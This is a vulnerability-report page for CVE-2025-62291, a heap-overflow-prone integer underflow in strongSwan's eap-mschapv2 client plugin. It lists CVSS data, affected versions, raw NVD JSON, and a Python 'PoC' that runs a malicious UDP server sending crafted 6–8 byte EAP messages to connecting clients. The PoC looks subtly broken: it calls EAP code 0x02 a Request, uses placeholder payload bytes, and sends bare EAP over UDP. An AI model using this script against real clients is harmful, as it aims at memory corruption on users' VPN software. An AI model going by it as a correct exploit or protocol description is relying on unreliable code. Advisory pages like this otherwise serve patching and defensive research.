Security Vulnerability Report
中文
CVE-2025-62291 CVSS 8.1 HIGH

CVE-2025-62291

Published: 2026-01-16 19:16:18
Last Modified: 2026-04-15 00:35:42

Description

In the eap-mschapv2 plugin (client-side) in strongSwan before 6.0.3, a malicious EAP-MSCHAPv2 server can send a crafted message of size 6 through 8, and cause an integer underflow that potentially results in a heap-based buffer overflow.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

strongSwan < 6.0.3 (所有版本)
Debian: strongswan < 5.9.5-1+deb12u2 (LTS)
Debian: strongswan < 5.9.5-1+deb11u3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2025-62291 - strongSwan eap-mschapv2 Integer Underflow # This PoC simulates a malicious EAP-MSCHAPv2 server sending crafted messages import struct import socket import sys def create_crafted_eap_message(size): """ Create a crafted EAP-MSCHAPv2 message with specific size (6-8 bytes) to trigger integer underflow in strongSwan client """ # EAP header structure code = 0x02 # EAP Request eap_id = 0x01 eap_type = 0x1A # EAP-MSCHAPv2 # Crafted payload that triggers the vulnerability # Size between 6-8 bytes causes integer underflow if size == 6: payload = b'\x01\x02\x03\x04\x05\x06' # 6 bytes elif size == 7: payload = b'\x01\x02\x03\x04\x05\x06\x07' # 7 bytes else: # size == 8 payload = b'\x01\x02\x03\x04\x05\x06\x07\x08' # 8 bytes # EAP message format: Code(1) + ID(1) + Length(2) + Type(1) + Data(n) total_length = 1 + 1 + 2 + 1 + len(payload) eap_packet = struct.pack('!BBH', code, eap_id, total_length) eap_packet += struct.pack('!B', eap_type) eap_packet += payload return eap_packet def start_malicious_server(port=1812): """ Start a malicious RADIUS/EAP server that sends crafted messages """ server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) server.bind(('0.0.0.0', port)) print(f"[*] Malicious EAP-MSCHAPv2 server listening on port {port}") print(f"[*] Waiting for strongSwan client connection...") while True: try: data, addr = server.recvfrom(1024) print(f"[+] Received request from {addr}") # Send crafted messages to trigger integer underflow for size in [6, 7, 8]: print(f"[*] Sending crafted message ({size} bytes) to trigger CVE-2025-62291") crafted_msg = create_crafted_eap_message(size) server.sendto(crafted_msg, addr) except KeyboardInterrupt: print("\n[*] Server stopped") break except Exception as e: print(f"[!] Error: {e}") server.close() if __name__ == '__main__': print("=" * 60) print("CVE-2025-62291 PoC - strongSwan eap-mschapv2 Integer Underflow") print("=" * 60) start_malicious_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62291", "sourceIdentifier": "[email protected]", "published": "2026-01-16T19:16:18.163", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the eap-mschapv2 plugin (client-side) in strongSwan before 6.0.3, a malicious EAP-MSCHAPv2 server can send a crafted message of size 6 through 8, and cause an integer underflow that potentially results in a heap-based buffer overflow."}, {"lang": "es", "value": "En el plugin eap-mschapv2 (lado del cliente) en strongSwan anterior a 6.0.3, un servidor EAP-MSCHAPv2 malicioso puede enviar un mensaje manipulado de tamaño entre 6 y 8, y causar un desbordamiento negativo de enteros que potencialmente resulta en un desbordamiento de búfer basado en montículo."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-191"}]}], "references": [{"url": "https://github.com/strongswan/strongswan/commits/master/src/libcharon/plugins/eap_mschapv2", "source": "[email protected]"}, {"url": "https://github.com/strongswan/strongswan/releases", "source": "[email protected]"}, {"url": "https://www.strongswan.org/blog/2025/10/27/strongswan-vulnerability-%28cve-2025-62291%29.html", "source": "[email protected]"}, {"url": "https://lists.debian.org/debian-lts-announce/2025/11/msg00002.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}